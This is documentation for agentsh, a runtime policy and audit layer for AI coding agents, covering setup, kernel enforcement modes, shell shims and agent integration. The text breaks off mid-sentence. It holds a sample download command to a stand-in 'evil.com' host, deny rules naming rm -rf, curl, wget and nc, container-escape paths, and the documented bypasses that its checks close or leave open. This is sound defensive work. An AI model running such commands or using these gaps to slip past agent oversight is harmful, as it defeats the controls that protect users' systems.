# agentsh — Full Documentation > Execution-layer security for AI agents. This file inlines the full content of the agentsh documentation for LLM ingestion. Source: https://www.agentsh.org/docs/ Last generated: 2026-06-29. Canonical pages live under https://www.agentsh.org/docs/. --- # Getting Started Source: https://www.agentsh.org/docs/ ## agentsh Documentation agentsh ("agent shell") provides execution-layer security for AI agents. Intercept file, network, process, and Postgres-family database activity at runtime—enforce policy, emit audit events, steer actions to approved alternatives. ### Execution-Layer Security (ELS) **Execution-Layer Security** is a runtime enforcement model for AI agents. Instead of relying on prompts, tool descriptions, or model alignment to constrain behavior, ELS intercepts the actual system calls—file I/O, network connections, process spawning, signals—and enforces policy at the kernel level. The agent never sees the enforcement; it simply cannot perform operations that policy does not permit. agentsh is the reference implementation of ELS. It sits *under* your agent/tooling—intercepting **file**, **network**, **process**, **database**, and **signal** activity (including subprocess trees), enforcing the policy you define, and emitting **structured audit events**. [Learn more about execution-layer security →](https://www.agentsh.org/execution-layer-security/) ##### Drop-in Shell Turns every command (and its subprocesses) into auditable events. ##### Policy Engine Per-operation decisions: allow, deny, approve, redirect, or soft_delete. ##### Full Visibility File I/O, network, DNS, process lifecycle, PTY activity, and LLM requests. ##### Two Output Modes Human-friendly shell output or compact JSON for agents/tools. ##### Redirect & Steer Swap commands or file paths to keep agents on the paved road. ##### LLM Proxy & DLP Intercept API requests, redact PII, and track token usage. ##### Database Proxy Enforce connection and statement policy on declared Postgres services. ##### Checkpoints Snapshot workspace state and rollback destructive operations. ##### Cross-Platform Linux, macOS, and Windows with native enforcement mechanisms. #### Why agentsh? Agent workflows eventually run arbitrary code (`pip install`, `make test`, `python script.py`). Traditional "ask for approval before running a command" controls stop at the tool boundary and can't see what happens *inside* that command. agentsh enforces policy **at runtime**, so hidden work done by subprocesses is still governed, logged, and (when required) approved. ### Quick Start Run a command that spawns subprocesses and touches the filesystem and network to see agentsh in action. ```bash ## 1) Create a session in your repo/workspace SID=$(agentsh session create --workspace . --json | jq -r .id) ## 2) Run something simple (human-friendly output) agentsh exec "$SID" -- uname -a ## 3) Run something that hits the network (JSON output + event summary) agentsh exec --output json --events summary "$SID" -- curl -s https://example.com ## 4) Trigger a policy decision - try to delete something agentsh exec "$SID" -- rm -rf ./tmp ## 5) See what happened (structured audit trail) agentsh exec --output json --events all "$SID" -- ls ``` **What you'll see in the JSON output:** - `exit_code`: the command's exit status - `stdout` / `stderr`: captured output - `events[]`: every file/network/process operation with policy decisions - `policy.decision`: `allow`, `deny`, `approve`, or `redirect` ### Installation #### From a GitHub Release Download the `.deb`, `.rpm`, Arch package, or tarball for your platform from the [releases page](https://github.com/canyonroad/agentsh/releases). ```text ## Example for Debian/Ubuntu sudo dpkg -i agentsh__linux_amd64.deb ``` #### From Source (Linux) ```bash make build sudo install -m 0755 bin/agentsh bin/agentsh-shell-shim /usr/local/bin ``` #### From Source (macOS) ```text ## Requires Xcode 15+ make build-macos-enterprise ``` ### Security Modes agentsh selects the best configured security mode based on available kernel features. Set `security.mode: auto` (the default) and agentsh detects available primitives at startup. Ptrace enforcement is an opt-in backend configured under `sandbox.ptrace`, not a `security.mode` value. | Mode | Requirements | Protection | Description | | --- | --- | --- | --- | | `full` | seccomp + eBPF + FUSE | 100% | Full security with all features | | `landlock` | Landlock + FUSE | ~85% | Kernel-enforced execution and FS control | | `landlock-only` | Landlock | ~80% | Landlock without FUSE granularity | | `minimal` | (none) | ~50% | Capability dropping and shim policy only | Use agentsh detect Run `agentsh detect` to see a weighted protection score (0–100) grouped by domain—File Protection, Command Control, Network, Resource Limits, and Isolation—with actionable tips for missing capabilities. See [Detecting Capabilities](https://www.agentsh.org/docs/setup/#detecting-capabilities). ##### Security configuration ```yaml security: mode: auto # auto | full | landlock | landlock-only | minimal strict: false # Fail if mode requirements not met minimum_mode: "" # Fail if auto-detect picks worse than this warn_degraded: true # Log warnings when running in degraded mode ``` ##### Landlock configuration (Linux 5.13+) When Landlock is available, configure filesystem and network restrictions: ```text landlock: enabled: true # Directories where command execution is allowed allow_execute: - /usr/bin - /bin - /usr/local/bin # Directories where reading is allowed allow_read: - /etc/ssl/certs - /lib - /usr/lib # Paths explicitly denied (container escape vectors) deny_paths: - /var/run/docker.sock - /run/containerd/containerd.sock - /var/run/secrets/kubernetes.io # Network restrictions (requires kernel 6.7+ / Landlock ABI v4) network: allow_connect_tcp: true # Allow outbound TCP allow_bind_tcp: false # Allow listening on TCP ports ``` ##### Feature matrix by mode | Feature | full | landlock | landlock-only | ptrace | minimal | | --- | --- | --- | --- | --- | --- | | Execution control (shim) | Yes | Yes | Yes | Yes | Yes | | Execution control (kernel) | seccomp | Landlock | Landlock | ptrace | No | | Filesystem (fine-grained) | FUSE | FUSE | Landlock | ptrace | No | | File enforcement (no FUSE) | seccomp-notify | Landlock | Landlock | ptrace | No | | Signal interception | seccomp | CAP_KILL* | CAP_KILL* | ptrace | CAP_KILL* | | Network (kernel) | eBPF | Landlock** | Landlock** | ptrace | No | | Execve interception | seccomp | No | No | ptrace | No | *Relies on dropped CAP_KILL to prevent signaling external processes. **Requires kernel 6.7+ (Landlock ABI v4). ### Scaling with Canyon Road agentsh works standalone. When you need fleet-wide visibility and central management, it integrates with the Canyon Road platform: - **[Beacon](https://www.canyonroad.ai/products/beacon/)** — Monitors AI desktop tools (Claude, Cursor, ChatGPT) on your endpoints. Different from agentsh: Beacon watches what apps do at the OS level, while agentsh wraps agents you run directly. - **[Watchtower](https://www.canyonroad.ai/products/watchtower/)** — The control plane for both. Centralized policies, approval routing (Slack, email, SMS), SIEM export, and a kill switch when things go wrong. Learn more at [canyonroad.ai/how-it-works](https://www.canyonroad.ai/how-it-works/). Need help? See the [GitHub repository](https://github.com/canyonroad/agentsh) for more examples, the full spec, and to report issues. --- # Setup & Integration Source: https://www.agentsh.org/docs/setup/ ## Setup & Integration Platform support, container setup, and integrating agentsh execution-layer security with your development environment. ### Platform Support agentsh supports Linux, macOS, and Windows with varying levels of enforcement capability. [Linux Native](https://www.agentsh.org/docs/setup/#linux) 100% [Windows WSL2](https://www.agentsh.org/docs/setup/#windows) 100% [macOS + Lima](https://www.agentsh.org/docs/setup/#lima-inside-vm)run inside VM 100% [macOS ESF+NE](https://www.agentsh.org/docs/setup/#macos) 90% [Windows Native](https://www.agentsh.org/docs/setup/#windows) 85% #### Platform Comparison | Feature | Linux | macOS ESF | Windows | | --- | --- | --- | --- | | File blocking | Yes | Yes | Yes | | Network blocking | Yes | Yes | Yes | | Signal blocking | Yes | Audit | Audit | | Namespace isolation | Full | None | Partial | | Syscall filtering | Yes | Exec only | No | | Resource limits | Full | None | Partial | Hosted sandbox environments AI sandbox platforms vary widely in kernel feature exposure. Sprites, E2B, Daytona, and Blaxel support `full` mode with all enforcement layers. Others restrict FUSE mounts or seccomp user-notify, limiting enforcement to `landlock` or `minimal` modes. See the [AI sandbox platforms table](https://www.agentsh.org/docs/setup/#linux-kernel-features) below for per-platform details, or run `agentsh detect` inside the sandbox. ### Linux 100% Score Full enforcement with all features. Linux provides the most complete security coverage: - **File interception:** FUSE3 with blocking and policy enforcement - **Network:** iptables with full TCP/UDP/DNS interception - **Process isolation:** Full namespace isolation (mount, net, PID, user) - **Syscall filtering:** seccomp-bpf with allowlists - **Signal interception:** Full blocking and redirect via seccomp - **Resource limits:** cgroups v2 for CPU, memory, disk I/O, network Requirements Root or CAP_SYS_ADMIN for namespaces. eBPF requires kernel 5.x+ for full features. #### Kernel Features Linux security capabilities depend on kernel version and runtime environment. Features are automatically detected at startup. | Feature | Kernel | Notes | | --- | --- | --- | | seccomp user-notify | 5.0+ | Full syscall interception; may be blocked in nested containers | | Landlock v1 | 5.13+ | Basic filesystem sandboxing | | Landlock v2 | 5.19+ | File reparenting (REFER) | | Landlock v3 | 6.2+ | File truncation control | | Landlock v4 | 6.7+ | Network TCP restrictions | | Landlock v5 | 6.10+ | IOCTL restrictions | | eBPF (network) | 4.18+ | Requires CAP_BPF or CAP_SYS_ADMIN; v0.20.0 can use attach-only cgroups for eBPF enforcement when resource-limit cgroups are disabled. | | FUSE | 2.6+ | Requires /dev/fuse. Mount method auto-detected: fusermount3 → new mount API (`fsopen`/`fsmount`, kernel 5.2+) → direct mount. Use `sandbox.fuse.max_background` to raise the FUSE async request queue on high-concurrency mounts. | | seccomp-notify file enforcement | 5.9+ (5.14+ for AddFD) | File policy enforcement when FUSE and Landlock are both unavailable. See Features. | | ptrace | 2.6+ | Requires SYS_PTRACE capability; fallback when seccomp/eBPF/FUSE unavailable | | cgroups v2 | 4.5+ | Resource limits; requires cgroupfs mounted | | Database proxy | Linux | Postgres-family enforcement uses per-session Unix sockets, peer-credential listener authentication, connect redirects, and direct-egress deny rules. Use native Linux, WSL2, or a Linux VM. | ##### Environment compatibility | Environment | seccomp | Landlock | eBPF | FUSE | ptrace | Typical config | | --- | --- | --- | --- | --- | --- | --- | | Native Linux (root) | Yes | Yes | Yes | Yes | Yes | `full` | | Docker (privileged) | Yes | Yes | Maybe | Yes | Yes | `full` | | Docker (unprivileged) | Maybe | Yes | No | Maybe | Maybe | `landlock` | | Kubernetes pod | Maybe | Yes | No | Maybe | Maybe | `landlock` | | gVisor | No | No | No | No | Maybe | `security.mode: minimal` + `sandbox.ptrace` | | Firecracker | No | No | No | Yes*** | Maybe | FUSE + optional `sandbox.ptrace` | | AWS Fargate | No | Maybe | No | No | Yes | `security.mode: minimal` + `sandbox.ptrace` | *Run `agentsh detect` to check actual capabilities in your environment. ***Firecracker supports FUSE via the new mount API (`fsopen`/`fsmount`), which does not require fusermount3. ##### AI sandbox platforms Capabilities for hosted AI sandbox providers. Each row reflects the platform’s current kernel configuration. | Platform | seccomp | Landlock | FUSE | ptrace | Typical config | | --- | --- | --- | --- | --- | --- | | Sprites (Fly.io) | Yes | Yes | Yes | Yes | `full` | | E2B | Yes | Yes | Yes | Yes | `full` | | Daytona | Yes | Yes | Yes | Yes | `full` | | Blaxel | Yes | Yes | Yes | Yes | `full` | | Cloudflare Containers | Yes | Yes | No | Maybe | `landlock` | | Deno Deploy | Yes | Detected* | No | Maybe | `landlock-only` | | Railway | Yes | Yes | Maybe | Maybe | `landlock` | | Vercel Sandbox | Yes | v0 | No | Maybe | `minimal` | | Runloop | Yes | Yes | Yes* | Maybe | `full` | | exe.dev | Yes | Yes | Yes* | Yes | `full` | | Modal | No | No | No | Yes | `security.mode: minimal` + `sandbox.ptrace` | *FUSE is available via deferred activation (requires `chmod 666 /dev/fuse` at runtime). `v0` = basic Landlock (no network restrictions). Run `agentsh detect` inside the sandbox to verify. #### Platform Matrix Binary availability and enforcement summary by architecture and libc variant. Download the appropriate archive from the [releases page](https://github.com/canyonroad/agentsh/releases). | Platform | Enforcement | Notes | | --- | --- | --- | | Linux amd64 (glibc) | Full LSM, cgroup v2, Landlock, ptrace, seccomp | Standard glibc build; `agentsh__linux_amd64.tar.gz` | | Linux arm64 (glibc) | Full LSM, cgroup v2, Landlock, ptrace, seccomp | Native ARM64 build; `agentsh__linux_arm64.tar.gz` | | Alpine amd64 (musl) | Full same as glibc build, statically linked | musl build; `agentsh_v_linux_amd64_musl.tar.gz`. See BusyBox caveat. | | Alpine arm64 (musl) | Full same as glibc build, statically linked | musl build; `agentsh_v_linux_arm64_musl.tar.gz`. See BusyBox caveat. | #### Linux ARM64 agentsh ships native ARM64 binaries for Linux with full feature parity — LSM hooks, cgroup v2, ptrace mode, and all enforcement backends work identically to the amd64 build. ##### Install Download the arm64 tarball from the [releases page](https://github.com/canyonroad/agentsh/releases), then: ```bash tar xzf agentsh_*_linux_arm64.tar.gz sudo mv agentsh /usr/local/bin/ agentsh --version ``` **Use this build on:** AWS Graviton, Ampere Altra, Raspberry Pi 4/5 running 64-bit OS, Apple Silicon under Linux VMs, and any other arm64 Linux host. **Kernel feature support.** The same kernel-feature requirements that apply to amd64 apply to arm64 — cgroup v2 (kernel 4.5+, recommended 5.0+ with unified hierarchy), Landlock (5.13+), eBPF/LSM (5.7+), and seccomp user-notify (5.0+). Run `agentsh detect` after installation to confirm available enforcement backends. #### Alpine and other musl distros agentsh also ships statically linked musl binaries that run on Alpine Linux and other minimal distributions without glibc. The musl build has the same enforcement features as the glibc build — the difference is purely in the libc the binary links against. ##### Install on Alpine (amd64) Download the musl amd64 tarball from the [releases page](https://github.com/canyonroad/agentsh/releases), then: ```bash tar xzf agentsh_*_linux_amd64_musl.tar.gz mv agentsh /usr/local/bin/ agentsh --version ``` ##### Install on Alpine (arm64) Download the musl arm64 tarball from the [releases page](https://github.com/canyonroad/agentsh/releases), then: ```bash tar xzf agentsh_*_linux_arm64_musl.tar.gz mv agentsh /usr/local/bin/ agentsh --version ``` ##### Caveat: BusyBox utilities Alpine ships BusyBox versions of standard Unix utilities (`ps`, `find`, `tar`, `cp`, etc.) that accept different flags than the GNU coreutils equivalents. This is not an agentsh limitation — it affects any policy that depends on specific flag behavior. If your policies use command_rules that match on specific argv patterns, test them against BusyBox before deploying to Alpine. ### macOS macOS supports three deployment options: ##### ESF+NE (Enterprise) 90% Uses Endpoint Security Framework for file monitoring and Network Extension for traffic interception. - No namespace isolation (macOS limitation) - Signal interception: audit only ##### Lima VM 100% For full Linux-equivalent isolation on macOS, run agentsh and your AI agent harness **entirely inside** a Lima VM. ```bash ## Install Lima on macOS brew install lima ## Create and start a VM limactl start default ## Shell into the VM limactl shell default ## Inside the VM - install agentsh from GitHub releases ## Download the .deb/.rpm for your distro from: ## https://github.com/canyonroad/agentsh/releases agentsh server ``` - Full FUSE3 filesystem interception - Full iptables network interception - Full Linux namespace isolation - Full seccomp-bpf syscall filtering - Full cgroups v2 resource limits **Trade-offs:** File I/O to macOS filesystem via virtiofs (15-30% overhead), VM uses ~200-500MB RAM, interact via SSH/shell into VM. ### Windows ##### Native 85% Uses mini filter driver with AppContainer sandbox isolation. - File/registry interception via kernel-mode mini filter - Network via WinDivert (requires admin) - Registry monitoring and blocking - AppContainer for process isolation - Signal interception: audit only via ETW ##### WSL2 100% Full Linux features in Windows Subsystem for Linux. - Same capabilities as native Linux - No Windows registry monitoring - Slight VM overhead ### Detecting Capabilities `agentsh detect` probes your kernel and reports a **weighted protection score** (0–100) grouped into five domains: | Domain | Points | Backends probed | | --- | --- | --- | | **File Protection** | 25 | FUSE, Landlock, seccomp-notify | | **Command Control** | 25 | seccomp-execve, ptrace | | **Network** | 20 | eBPF, landlock-network | | **Resource Limits** | 15 | cgroups v2 | | **Isolation** | 15 | PID namespace, capability drop | Each backend is detected via **real kernel probes**, not by checking installed packages: - **eBPF** — cgroup socket-address program probe for the same cgroup/connect path used by runtime network enforcement - **cgroups v2** — `statfs` on cgroup mount + `cgroup.procs` readability - **PID namespace** — `/proc/self/status` NSpid field - **Capabilities** — `capget` + `prctl(PR_CAPBSET_READ)` - **FUSE** — mount method detection: fusermount → new mount API (`fsopen` probe) → direct mount When a domain scores 0, actionable tips explain what is missing and the point impact (e.g., *"Fine-grained filesystem control disabled (+25 pts)"*). ```bash ## Domain-grouped table with protection score (default) agentsh detect ## Output as JSON for scripting agentsh detect --output json ## Output as YAML agentsh detect --output yaml ``` The JSON output includes per-domain active backends and a `capabilities` map so you can see which filesystem, network, command, resource, and isolation primitives are available. ##### Database proxy requirements The database proxy starts only for policies that declare `db_services` and set `policies.db.unavoidability` to `observe` or `enforce`. It is Linux-only today: non-Linux builds keep the policy parser but do not run the Postgres proxy. - **Unix sockets:** Per-session listeners are created under the session state directory and authenticated with Linux `SO_PEERCRED`. - **Network interception:** Generated `connect_redirects` route declared DB destinations to the proxy socket, while generated `network_rules` deny direct egress to the upstream host and resolved IPs. - **DNS expansion:** In `enforce` mode, startup fails closed if agentsh cannot resolve an upstream hostname into enforceable IP rules. - **Session tracking:** The proxy verifies that incoming connections belong to the governed agent SessionID, and the proxy itself uses a separate identity for upstream egress. ##### eBPF attach-only cgroups For network eBPF enforcement, `sandbox.cgroups.enabled: true` is no longer required unless you also need memory, CPU, or PID limits. With `sandbox.network.ebpf.enabled: true` and resource-limit cgroups disabled, agentsh looks for an attach-only cgroup path and attaches the cgroup/connect program there. Set `sandbox.network.ebpf.required: true` to fail closed if neither normal nor attach-only cgroup setup works. ##### Generating optimized configuration Use `agentsh detect config` to generate a configuration snippet optimized for your environment: ```bash ## Print to stdout agentsh detect config ## Write to file agentsh detect config --output security.yaml ## Merge with your existing config agentsh detect config >> config.yaml ``` The generated config includes `security:`, platform-specific sandbox sections such as `landlock:`, and `capabilities:` entries optimized for detected features and your kernel's available backends. #### Execve Interception In `full` security mode, agentsh intercepts all `execve`/`execveat` syscalls via seccomp user-notify. This provides **complete execution coverage**—every binary execution goes through policy, including nested commands like `sh -c "curl ..."` that would bypass shell-level checks. Linux full mode only Execve interception requires seccomp with user-notify support (Linux kernel 5.9+) and is only available in `full` security mode. ##### Key features - **Complete coverage** — Every binary execution goes through policy, not just shell commands - **Full audit trail** — All execve calls logged regardless of decision - **Depth-aware policy** — Different rules for direct vs nested execution - **Argument inspection** — Block dangerous arg patterns (e.g., `rm -rf`) - **Approval flow** — Interactive approval with timeout (fail-secure default) ##### Configuration ```yaml sandbox: seccomp: enabled: true execve: enabled: true # Enable execve interception # Argv capture limits max_argc: 1000 # Max args to read max_argv_bytes: 65536 # Max total argv bytes on_truncated: deny # deny | allow | approval # Approval settings approval_timeout: 10s approval_timeout_action: deny # deny | allow # Internal bypass (agentsh infrastructure) internal_bypass: - /usr/local/bin/agentsh - /usr/local/bin/agentsh-unixwrap ``` ##### Depth-aware policies Command rules support a `context` field that enables different policies for direct (user-typed, depth 0) vs nested (script-spawned, depth 1+) commands: | Context | Equivalent | Description | | --- | --- | --- | | `[direct]` | `max_depth: 0` | Only top-level commands | | `[nested]` | `min_depth: 1` | Only nested commands | | `[direct, nested]` | no constraint | All depths (default) | ```yaml command_rules: # User can run git directly, but scripts can't - name: allow-git-direct commands: [git] decision: allow context: [direct] # Compilers should only run from build tools - name: allow-cc-nested commands: [gcc, clang, cc] decision: allow context: min_depth: 1 max_depth: 3 # Block dangerous rm patterns at any depth - name: block-dangerous-rm commands: [rm] args_patterns: ["*-rf*", "*-fr*"] decision: deny context: [direct, nested] # Network tools need approval when nested - name: approve-nested-network commands: [curl, wget, nc] decision: approve context: [nested] message: "Nested script wants to run: {{.Command}} {{.Args}}" ``` ##### Path Canonicalization All executable paths are resolved through `EvalSymlinks` before policy evaluation. This prevents symlink-based bypass attacks where an attacker creates a symlink (e.g., `/tmp/safe` → `/usr/bin/wget`) to circumvent command rules. - **Symlink resolution** — The real path is evaluated against policy, not the symlink - **Audit trail** — The original pre-canonicalization path is preserved as `raw_filename` in events for forensics ##### Symlink Escape Handling Introduced in v0.20.1, `policies.symlink_escape` controls FUSE-layer workspace symlinks whose targets resolve outside the workspace root. The default, `evaluate`, resolves the target and evaluates the resolved outside path against normal `file_rules`. This keeps common layouts such as Python virtualenv links to `/usr/bin/python3` usable when those real paths are allowed. ```yaml policies: symlink_escape: "evaluate" # evaluate | deny ``` Set `symlink_escape: "deny"` to restore the historical blanket `workspace-escape` denial for symlink targets outside the workspace, regardless of matching `file_rules`. Leaf-only operations such as `stat`, `readlink`, `delete`, and `rmdir` are always checked against the symlink path itself and are unaffected by this setting. ##### Transparent Command Unwrapping agentsh recognizes common wrapper commands and unwraps them to find the real payload. Both the wrapper and payload are evaluated against policy — the most restrictive decision wins. For example, `env wget http://evil.com` evaluates both `env` and `wget`. Even if `env` is allowed, `wget` must also pass policy. **Built-in transparent commands:** | Platform | Commands | | --- | --- | | All | `env`, `nice`, `nohup`, `sudo`, `time`, `xargs` | | Linux | `busybox`, `doas`, `strace`, `ltrace`, `ld-linux*` | | Windows | `cmd.exe`, `powershell.exe`, `pwsh.exe`, `wsl.exe` | Customize the set per policy: ```text transparent_commands: add: - myrunner # Custom wrappers - taskrunner remove: - sudo # Don't unwrap sudo ``` Unwrap events include `unwrapped_from` and `payload_command` fields in audit logs. ##### Security model - **Fail-secure** — Timeout on approval defaults to deny - **Fail-secure** — Truncated argv defaults to deny - **Tamper-proof** — Depth tracking is handler-side, not environment variables - **Symlink-proof** — All paths resolved before policy evaluation - **Unwrap-safe** — Wrapper + payload both evaluated; most restrictive wins - **Complete audit** — Every execve logged, including internal bypasses #### Ptrace Mode When seccomp user-notify, eBPF, and FUSE are all unavailable — as on **AWS Fargate**, restricted Kubernetes pods, or gVisor/Firecracker runtimes — agentsh can use Linux `ptrace` to intercept syscalls and enforce policy. Ptrace mode is **opt-in** and not auto-selected. Requirements Ptrace mode requires the `SYS_PTRACE` capability and a Linux kernel. It is not available on macOS or Windows. Enable ptrace in your configuration: ```yaml sandbox: ptrace: enabled: true attach_mode: children # "children" or "pid" trace: execve: true # Intercept execve/execveat file: true # Intercept file I/O syscalls network: true # Intercept connect/bind signal: true # Intercept signal syscalls performance: seccomp_prefilter: true # BPF pre-filter for reduced overhead arg_level_filter: true # Check syscall args in BPF (reduces ptrace stops) max_tracees: 500 # Max concurrent traced processes max_hold_ms: 5000 # Timeout for held syscalls (ms) mask_tracer_pid: off # Only "off" is supported in this version on_attach_failure: fail_open # "fail_open" or "fail_closed" ``` Ptrace settings are loaded from the YAML configuration. This build does not expose separate `AGENTSH_PTRACE_*` environment-variable overrides. ##### Attach modes | Mode | Description | Use Case | | --- | --- | --- | | `children` | Trace all child processes spawned by the session | Default for most setups | | `pid` | Attach to a specific PID (set via `target_pid` or `target_pid_file`) | Sidecar tracing of existing processes | ##### Ptrace capabilities In ptrace mode, agentsh provides: - **Execve interception** — policy enforcement on every binary execution - **File I/O interception** — path resolution and policy checks on open/read/write/delete with symlink handling - **Exit-time path verification** — defense-in-depth: after a successful `openat`, reads `/proc//fd/` to verify the real path against policy, catching symlink bypasses that evade entry-time resolution - **Soft-delete** — `soft_delete` policy decisions intercepted via ptrace; `unlinkat` calls are replaced with `mkdirat` + `renameat2` to move files to trash - **vfork fast-path** — between `vfork` and `exec`, only an allowlist of async-signal-safe syscalls (close, dup3, sigaction, etc.) are fast-pathed to prevent deadlocks with Python `subprocess.run` and similar - **Network interception** — connect/bind filtering with sockaddr parsing - **Signal interception** — kill/tgkill/tkill intercepted with policy enforcement and signal redirect - **DNS redirects** — in-process DNS proxy for transparent domain steering - **TLS SNI rewrite** — rewrite Server Name Indication without breaking TLS - **Connect redirects** — steer outbound connections to alternative endpoints - **Syscall injection** — modify syscall arguments for exec, file path, and connect redirects - **TracerPid masking** — hide the tracer from traced processes by intercepting `/proc/*/status` reads AWS Fargate, Modal & exe.dev Ptrace mode was designed for restricted runtimes like AWS Fargate and Modal (gVisor). For Fargate, add `SYS_PTRACE` to your ECS task definition’s `linuxParameters.capabilities.add` list and use shared PID namespace (`pidMode: "task"`). For Modal, use the [secure-sandbox SDK](https://www.agentsh.org/docs/secure-sandbox/) with the Modal adapter and `modalDefaults()` which pre-configures ptrace with seccomp pre-filter disabled (not supported on gVisor). For exe.dev, use `exeDefaults()` which configures hybrid mode: ptrace for execve interception combined with seccomp file_monitor for file enforcement. ### Running Inside Containers Containers isolate the host surface; agentsh adds **in-container runtime visibility and policy**. - Per-operation audit (files, network, commands) shows what happened during installs/builds/tests - Approvals and rules persist across long-lived shells and subprocess trees - Path-level controls on mounted workspaces/caches/creds - Same behavior on host and in containers—CI and local dev see the same policy outcomes **Ready-to-use examples:** Each repo below is a complete, runnable project. See [all examples](https://www.agentsh.org/examples/). - [Blaxel](https://github.com/canyonroad/agentsh-blaxel) — agentsh in Blaxel sandboxes - [Cloudflare Containers](https://github.com/canyonroad/agentsh-cloudflare) — agentsh in Cloudflare Firecracker VMs - [Daytona](https://github.com/canyonroad/agentsh-daytona) — agentsh in Daytona dev environments - [Deno Deploy](https://github.com/canyonroad/agentsh-deno) — agentsh in Deno Firecracker microVMs - [E2B](https://github.com/canyonroad/agentsh-e2b) — agentsh in E2B sandboxes - [exe.dev](https://github.com/canyonroad/agentsh-exe.dev) — agentsh in exe.dev VMs - [Freestyle](https://github.com/canyonroad/agentsh-freestyle) — agentsh in Freestyle Firecracker VMs - [Modal](https://github.com/canyonroad/agentsh-modal) — agentsh in Modal gVisor sandboxes - [Runloop](https://github.com/canyonroad/agentsh-runloop) — agentsh in Runloop Devboxes - [Sprites](https://github.com/canyonroad/agentsh-sprites) — agentsh in Sprites Firecracker microVMs - [Vercel Sandbox](https://github.com/canyonroad/agentsh-vercel) — agentsh in Vercel Firecracker VMs #### Shell Shim The shell shim replaces `/bin/sh` and `/bin/bash` so that *any* shell invocation routes through agentsh—including subprocess calls from scripts, package managers, and build tools. ```bash agentsh shim install-shell \ --root / \ --shim /usr/bin/agentsh-shell-shim \ --bash \ --i-understand-this-modifies-the-host ``` If you want an extra safety margin, use `--bash-only` instead of `--bash` to shim only `/bin/bash` while leaving `/bin/sh` completely untouched, so orchestrators that use `sh` for data transfer never hit the shim at all. The two flags are mutually exclusive. ```bash agentsh shim install-shell \ --root / \ --shim /usr/bin/agentsh-shell-shim \ --bash-only ``` Point the shim at your server: ```dockerfile ENV AGENTSH_SERVER=http://127.0.0.1:18080 ``` Now any `/bin/sh -c ...` or `/bin/bash -lc ...` in the container routes through agentsh. Non-interactive stdin bypass When stdin is not a TTY (e.g. piped data via `docker exec -i container sh -c "cat > /file" < data`), the shim execs the real shell directly to preserve binary data integrity. Policy enforcement is skipped for these non-interactive invocations. To force the shim to route through `agentsh exec` even without a TTY—useful in sandbox platforms like Blaxel or E2B where commands arrive via HTTP APIs—set `AGENTSH_SHIM_FORCE=1`. ##### Shim configuration file For platforms where environment variables cannot be injected before shell startup (such as exe.dev), the shim reads configuration from `/etc/agentsh/shim.conf`. This file is checked with the following precedence: environment variable > config file > default. ```text ## /etc/agentsh/shim.conf force=true # Equivalent to AGENTSH_SHIM_FORCE=1 server=http://127.0.0.1:18080 ``` Install the shim with the `--force` flag to automatically write this config: ```bash agentsh shim install-shell \ --root / \ --shim /usr/bin/agentsh-shell-shim \ --bash \ --force \ --i-understand-this-modifies-the-host ``` #### Docker Setup Example Dockerfile (Debian-based): ```dockerfile FROM debian:bookworm-slim ARG AGENTSH_REPO=canyonroad/agentsh ARG AGENTSH_TAG=latest # pin to a specific tag in production ARG DEB_ARCH=amd64 RUN set -eux; \ apt-get update; \ apt-get install -y --no-install-recommends ca-certificates curl bash; \ rm -rf /var/lib/apt/lists/* RUN set -eux; \ version="${AGENTSH_TAG#v}"; \ deb="agentsh_${version}_linux_${DEB_ARCH}.deb"; \ url="https://github.com/${AGENTSH_REPO}/releases/download/${AGENTSH_TAG}/${deb}"; \ curl -fsSL -L "${url}" -o /tmp/agentsh.deb; \ dpkg -i /tmp/agentsh.deb; \ rm -f /tmp/agentsh.deb; \ agentsh shim install-shell \ --root / \ --shim /usr/bin/agentsh-shell-shim \ --bash \ --i-understand-this-modifies-the-host CMD ["/bin/sh", "-lc", "echo hello from agentsh shim"] ``` #### Sidecar Pattern **Recommended:** Run agentsh as a sidecar (or PID 1) in the same pod/service and share a workspace volume. The shim ensures every shell hop stays under policy. ```yaml ## docker-compose.yml services: agentsh: image: agentsh:latest volumes: - workspace:/workspace ports: - "18080:18080" agent: image: your-agent:latest environment: - AGENTSH_SERVER=http://agentsh:18080 volumes: - workspace:/workspace depends_on: - agentsh volumes: workspace: ``` ### Local Development For local development outside containers: ```bash ## Start the server (optional if using autostart) ./bin/agentsh server --config configs/server-config.yaml ## Create a session and run a command SID=$(./bin/agentsh session create --workspace . --json | jq -r .id) ./bin/agentsh exec "$SID" -- ls -la ## Structured output for agents ./bin/agentsh exec --output json --events summary "$SID" -- curl https://example.com ``` Autostart You don't need to start `agentsh server` manually. The first `agentsh exec` automatically launches a local server using the config file. Set `AGENTSH_NO_AUTO=1` to manage the server lifecycle yourself. #### Protecting Dev Tools AI coding assistants like Claude Code, Cursor, and Codex run subprocesses, access files, and make network requests beyond what they show in their UI. Running the assistant itself through agentsh gives you visibility and policy enforcement over *all* activity, not just the displayed commands. Why this matters When an AI assistant decides to "check something quickly" or "read a file for context," those operations happen silently. Without agentsh wrapping the entire process, you only see what the tool chooses to show you. ##### Wrapping your dev tool Instead of running your AI assistant directly, launch it through agentsh: ```bash ## Create a session for your workspace SID=$(agentsh session create --workspace . --json | jq -r .id) ## Run Claude Code through agentsh agentsh exec "$SID" -- claude ## Or run Cursor through agentsh agentsh exec "$SID" -- cursor . ## Or any other dev tool agentsh exec "$SID" -- code . ``` ##### What you gain - **Full audit trail:** Every file read, network request, and subprocess is logged - **Policy enforcement:** Block access to `~/.ssh`, `~/.aws`, and other sensitive paths even when the tool doesn't show the access - **LLM request visibility:** See all API calls the tool makes, with DLP redaction - **Subprocess control:** When the tool spawns `npm install` or `pip install` internally, those are governed too Shell alias Add an alias for convenience: `alias claude='agentsh exec $(agentsh session create --workspace . --json | jq -r .id) -- claude'` ### AI Assistant Integration There are two approaches to integrating agentsh with AI coding assistants: running the entire agent under agentsh, or configuring the agent to use agentsh for commands. #### Running Agents Under agentsh For **unsupervised or autonomous agents**, run the entire agent process under agentsh. This ensures comprehensive coverage—every shell command, subprocess, and file operation is monitored and policy-enforced, even if the agent doesn't explicitly use agentsh. ```bash ## Create a session with your policy SID=$(agentsh session create --workspace /path/to/project --policy my-policy --json | jq -r .id) ## Run Claude Code under agentsh agentsh exec "$SID" -- claude --dangerously-skip-permissions -p "implement the feature" ## Or run other coding agents agentsh exec "$SID" -- codex --full-auto "fix the failing tests" agentsh exec "$SID" -- opencode -p "refactor the auth module" agentsh exec "$SID" -- cursor-agent --print "add unit tests" ``` This approach is ideal for: - **Headless/CI pipelines** — agents running without human oversight - **Batch operations** — processing multiple tasks autonomously - **Defense in depth** — policy enforcement regardless of agent behavior Combine with shell shim In containerized environments, install the shell shim so that even nested shells and subprocess calls route through agentsh 